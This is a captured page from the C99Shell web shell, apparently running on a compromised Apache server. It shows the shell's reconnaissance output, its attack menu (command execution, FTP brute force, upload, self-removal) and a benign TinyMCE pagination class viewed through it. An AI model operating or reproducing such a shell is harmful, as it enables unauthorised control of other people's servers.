!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/newsletter/newsletter_i/lib/tinymce/plugins/ajaxfilemanager/inc/   drwxr-xr-x
Free 9.15 GB of 93.48 GB (9.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.pagination.php (12.49 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Pagination Class
 * @author Logan Cai  (cailongqun [at] yahoo [dot] com [dot] cn)
 * @since 27/Nov/20006
 *
 */
class pagination
{
    var 
$totalItems 0;
    var 
$itemsPerPage 30;
    var 
$currentPage 1;
    var 
$friendlyUrl false;
    var 
$baseUrl "";
    var 
$pageIndex "page";
    var 
$groupLimit 5;
    var 
$excludedQueryStrings = array();
    var 
$totalPages 0;
    var 
$url "";
    var 
$previousText "Previous";
    var 
$nextText "Next";
    var 
$lastText "Last";
    var 
$firstText "First";
    var 
$limitIndex ='limit';
    var 
$limits = array(51020305080150999);


    
/**
     * Contructor
     *
     * @param boolean $friendlyUrl set the returned url
     * as search engine friendly or Normal Url
     */
    
function pagination($friendlyUrl=false)
    {
        
$this->friendlyUrl $friendlyUrl;
        
$this->__resetCurrentPage();
    }

    
/**
     * set maximum number of items per page
     *
     * @param integer $value maximum number of items per page
     */
    
function setLimit($value)
    {
        
$this->itemsPerPage intval($value);
    }
    
/**
     * get maximum number of items per page
     *
     * @return integer
     */
    
function getLimit()
    {
        return 
$this->itemsPerPage;
    }

    
/**
     * set the total number of items
     *
     * @param integer $value the total number of items
     */
    
function setTotal($value)
    {
        
$this->totalItems intval($value);
    }
    
/**
     * get the total number of items
     *
     * @return integer total number of items
     */
    
function getTotal()
    {
        return 
$this->totalItems;
    }
    
/**
     * get total pages will be used to display all records
     *
     */
    
function getTotalPages()
    {

        
$output floor(($this->totalItems $this->itemsPerPage ));
        if(
$this->totalItems $this->itemsPerPage)
        {
            
$output++;
        }
        return 
$output;
    }

    
/**
     * Set the index of URL Query String
     *
     * @param string $value e.g. page
     */
    
function setPageIndex($value)
    {
        
$this->pageIndex $value;
        
$this->__resetCurrentPage();
    }


    function 
getPageIndex()
    {
        return 
$this->pageIndex;
    }
    
/**
     * initiate or reset the current page number
     *
     */
    
function __resetCurrentPage()
    {
        
$this->currentPage = ((isset($_GET[$this->pageIndex]) && intval($_GET[$this->pageIndex]) > 0)?intval($_GET[$this->pageIndex]):1);
    }

    
/**
     * set the base url used in the links, default is $PHP_SELF
     *
     * @param string $value the base url
     */
    
function setUrl($value="")
    {
        if(empty(
$value))
        {
            if(
$this->friendlyUrl)
            {
                
$this->url "http://" $_SERVER['HTTP_HOST'] . "/";
            }else
            {
                
$this->url $_SERVER['PHP_SELF'];
            }
        }else
        {
            
$this->url $value;
        }

    }

    
/**
     * get the base url variable
     *
     * @return string the base url
     */
    
function getUrl()
    {

        if(empty(
$this->url))
        {
            
$this->setUrl();

        }
        return 
$this->url;
    }

    
/**
     * set base url for pagination links after exculed those keys
     * identified on excluded query strings
     */
    
function __setBaseUrl()
    {

        if(empty(
$this->url))
        {
            
$this->getUrl();
        }

        if(
$this->friendlyUrl)
        {
            
$this->baseUrl $this->getUrl();
        }else
        {

            
$appendingQueryStrings = array();
            
$this->excludedQueryStrings[$this->pageIndex] =$this->pageIndex;
            foreach(
$_GET as $k=>$v)
            {
                if((
array_search($k$this->excludedQueryStrings) === false ))
                {
                    
$appendingQueryStrings[$k] = $k "=" $v;
                }
            }
            if(
sizeof($appendingQueryStrings))
            {
                
$this->baseUrl $this->__appendQueryString($this->urlimplode("&"$appendingQueryStrings));
            }else
            {
                
$this->baseUrl $this->getUrl();
            }

        }


    }
    
/**
     * get base url for pagination links aftr excluded those key
     * identified on excluded query strings
     *
     */
    
function __getBaseUrl()
    {

        if(empty(
$this->baseUrl))
        {

            
$this->__setBaseUrl();
        }
        return 
$this->baseUrl;
    }


    
/**
     * get the first item number
     *
     * @return interger the first item number displayed within current page
     */
    
function getFirstItem()
    {
        
$output 0;
        
$temStartItemNumber = (($this->currentPage 1) * $this->itemsPerPage 1);
        if(
$this->totalItems && $temStartItemNumber <= $this->totalItems )
        {

            
$output $temStartItemNumber;
        }
        return 
$output;
    }
    
/**
     * get the last item number displayed within current page
     *
     * @return interger the last item number
     */
    
function getLastItem()
    {
        
$output 0;
        
$temEndItemNumber = (($this->currentPage) * $this->itemsPerPage);
        if(
$this->totalItems)
        {
            if(
$temEndItemNumber <= $this->totalItems)
            {
                
$output $temEndItemNumber;
            }else
            {
                
$output $this->totalItems;
            }

        }
        return 
$output;
    }
    
/**
     * set  page groupings limit
     * used for previous 1 2 3 4 5 next
     *
     * @param unknown_type $value
     */
    
function setGroupLimit($value)
    {
        
$this->groupLimit intval($value);
    }
    
/**
     * get page grouping limit
     *
     * @return integer the page grouping limit
     */
    
function getGroupLimit()
    {
        return 
$this->groupLimit;
    }
    
/**
     * get the page offset number
     * used for Query . e.g SELECT SQL_CALC_FOUND_ROWS *
     *                         FROM mytable LIMIT getPageOffset(), getItemsPerPage()
     *
     * @return integer
     */
    
function getPageOffset()
    {
        return ((
$this->currentPage 1)  * $this->itemsPerPage);
    }
    
/**
     * get the last url if any
     * @return  string the last url
     */
    
function getLastUrl()
    {

        
$url "";
        
$totalPages $this->getTotalPages();
        if(
$this->currentPage $totalPages)
        {
            
$url $this->__getBaseUrl();

            if(
$this->friendlyUrl)
            {
                
$url .= $this->pageIndex $totalPages "/";
            }else
            {
                
$url $this->__appendQueryString($url$this->pageIndex "=" $totalPages);
            }
            
$url sprintf('<a href="%s" class="pagination_last"><span>%s</span></a>',
            
$url,
            
$this->lastText);
        }
        return 
$url;
    }




    
/**
     * get the first url if any
     * @return string the first url
     */

    
function getFirstUrl()
    {
        
$url "";
        if(
$this->currentPage 1)
        {
            
$url $this->__getBaseUrl();
            if(
$this->friendlyUrl)
            {
                
$url .= $this->pageIndex .  "1/";
            }else
            {
                
$url $this->__appendQueryString($url$this->pageIndex "=1");
            }
            
$url sprintf('<a href="%s" class="pagination_first"><span>%s</span></a>',
            
$url,
            
$this->firstText);

        }
        return 
$url;
    }

    
/**
     * get the previous page url if anywhere
     *
     * @param array $excludedQueryStrings excluded the value from $_GET
     * @return string the previous page url
     */
    
function getPreviousUrl()
    {
        
$url "";
        if(
$this->currentPage && $this->totalItems )
        {
            
$url $this->__getBaseUrl();
            if(
$this->friendlyUrl)
            {
                
$url .= $this->pageIndex . ($this->currentPage 1) . "/";
            }else
            {
                
$url $this->__appendQueryString($url$this->pageIndex "=" . ($this->currentPage -1));
            }
            
$url sprintf('<a href="%s" class="pagination_previous"><span>%s</span></a>',
            
$url,
            
$this->previousText);

        }

        return 
$url;
    }
    
/**
     * get the next page url if anywhere
     *
     * @param array $excludedQueryStrings excluded the value from $_GET
     * @return string the next page url
     */
    
function getNextUrl()
    {
        
$url "";
        if(
$this->totalItems > ($this->currentPage $this->itemsPerPage))
        {
            
$url $this->__getBaseUrl();
            if(
$this->friendlyUrl)
            {
                
$url .= $this->pageIndex . ($this->currentPage 1) . "/";
            }else
            {
                
$url $this->__appendQueryString($url$this->pageIndex "=" . ($this->currentPage 1));
            }
            
$url sprintf('<a href="%s" class="pagination_next"><span>%s</span></a>',
            
$url,
            
$this->nextText);
        }
        return 
$url;

    }

    
/**
     * get the group page links  e.g. 1,2,3,4,5
     * return format
     * <a class="pagination_group" href='yoururl'>1</a>
     * <a class="pagination_group active" href='#'>2</a>
     * <a class="pagination_group" href='yoururl'>3</a>
     */
    
function getGroupUrls()
    {
        
$output "";
        if(
$this->totalItems 0)
        {
            
$displayedPages 0;
            
$url $this->__getBaseUrl();
            
$totalPages $this->getTotalPages();
            
// find halfway point
            
$groupLimitHalf floor($this->groupLimit 2);
            
// determine what item/page we start with
            
$itemStart $this->currentPage $groupLimitHalf;
            
$itemStart = ($itemStart && $itemStart <= $totalPages)?$itemStart:1;
            
$itemEnd $itemStart;

            while(
$itemEnd < ($itemStart $this->groupLimit 1) && $itemEnd $totalPages)
            {
                
$itemEnd++;
            }


            if(
$totalPages > ($itemEnd $itemStart))
            {
                for(
$i $itemStart$i && ($itemEnd $itemStart 1) < $this->groupLimit$i--)
                {
                    
$itemStart--;
                }
            }

            for(
$item $itemStart$item <= $itemEnd$item++)
            {
                if(
$item != $this->currentPage)
                {
//it is not the active link
                    
if($this->friendlyUrl)
                    {
                        
$temUrl $url $this->pageIndex $item .   "/";
                    }else
                    {
                        
$temUrl  $this->__appendQueryString($url$this->pageIndex "=" $item);
                    }
                    
$output .= sprintf(' <a class="pagination_group" href="%s"><span>%d</span></a> '$temUrl$item);
                }else
                {
//active link
                    
$output .= sprintf(' <a class="pagination_group pagination_active" href="#"><span>%d</span></a> '$item);
                }
            }
        }
        return 
$output;
    }
    
/**
     * set the text of previous page link
     *
     * @param string $value
     */
    
function setPreviousText($value)
    {
        
$this->previousText $value;
    }
    
/**
     * set the text of first page link
     *
     * @param string $value
     */
    
function setFirstText($value)
    {
        
$this->firstText $value;
    }
    
/**
     * set the text of next page link
     *
     * @param string $value
     */

    
function setNextText($value)
    {
        
$this->nextText $value;
    }
    
/**
     * set the text of last page link
     *
     * @param string $value
     */
    
function setLastText($value)
    {
        
$this->lastText $value;
    }

    
/**
     * set the excluded query string from $_GET;
     *
     * @param array the lists of the query string keys
     */

    
function setExcludedQueryString($values = array())
    {
        
$this->excludedQueryStrings $values;
    }

    function 
getExcludedQueryString()
    {
        return 
$this->excludedQueryStrings;
    }


    
/**
     * add extra query stiring to a url
     * @param string $baseUrl
     * @param string $extra the query string added to the base url
     */
    
function __appendQueryString($baseUrl$extra)
    {
        
$output trim($baseUrl);
        if(
strpos($baseUrl"?") !== false)
        {
            
$output .= "&" $extra;
        }else
        {
            
$output .= "?" $extra;
        }
        return 
$output;
    }
    
/**
     * return the html
     *
     * @param integer $type
     */
    
function getPaginationHTML($type=1$cssClass="pagination")
    {
        
$output '';
        
$output .= "<div class=\"pagination_content\"><p class=\"$cssClass\">\n";
        switch(
$type)
        {
            case 
"2":
                
$output .= "<span class=\"pagination_summany\">" $this->getFirstItem() . " to " $this->getLastItem() . " of " $this->getTotal() . " results.</span> ";    
            if(
$previousUrl $this->getPreviousUrl())
            {
                
$output .= " " $previousUrl;
            }

            if(
$nextUrl $this->getNextUrl())
            {
                
$output .= " " $nextUrl;
            }                            
                break;
            case 
1:
                
//get full summary pagination
            
default:
                
$output .= "<span class=\"pagination_summany\">" $this->getFirstItem() . "/" $this->getLastItem() . " (" $this->getTotal() . ")</span> ";
            if(
$firstUrl $this->getFirstUrl())
            {
                
$output .= " " $firstUrl;
            }
            if(
$previousUrl $this->getPreviousUrl())
            {
                
$output .= " " $previousUrl;
            }

            if(
$groupUrls $this->getGroupUrls())
            {
                
$output .= " " $groupUrls;
            }
            if(
$nextUrl $this->getNextUrl())
            {
                
$output .= " " $nextUrl;
            }
            if(
$lastUrl $this->getLastUrl())
            {
                
$output .= " " $lastUrl;
            }
            
$itemPerPage '';
            
$itemPerPage .= "<select name=\"" $this->limitIndex "\" id=\"limit\" class=\"input inputLimit\" onchange=\"changePaginationLimit();\">\n";
            foreach (
$this->limits as $v)
            {
                
$itemPerPage .= "<option value=\"" $v "\" " . ($v==$this->itemsPerPage?'selected="selected"':'') . ">" $v "</option>\n";
            }
            
$itemPerPage .= "</select>\n"
            
$output .= "<span class=\"pagination_items_per_page\">";
            
$output .= sprintf(PAGINATION_ITEMS_PER_PAGE$itemPerPage);
            
$output .= "</span>";
            
$output .= "<span class=\"pagination_parent\"><a href=\"#\" onclick=\"goParentFolder();\" id=\"pagination_parent_link\" title=\"" PAGINATION_GO_PARENT "\">&nbsp;</a></span>";
        }

        
$output .= "</p></div>";
        return 
$output;
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0052 ]--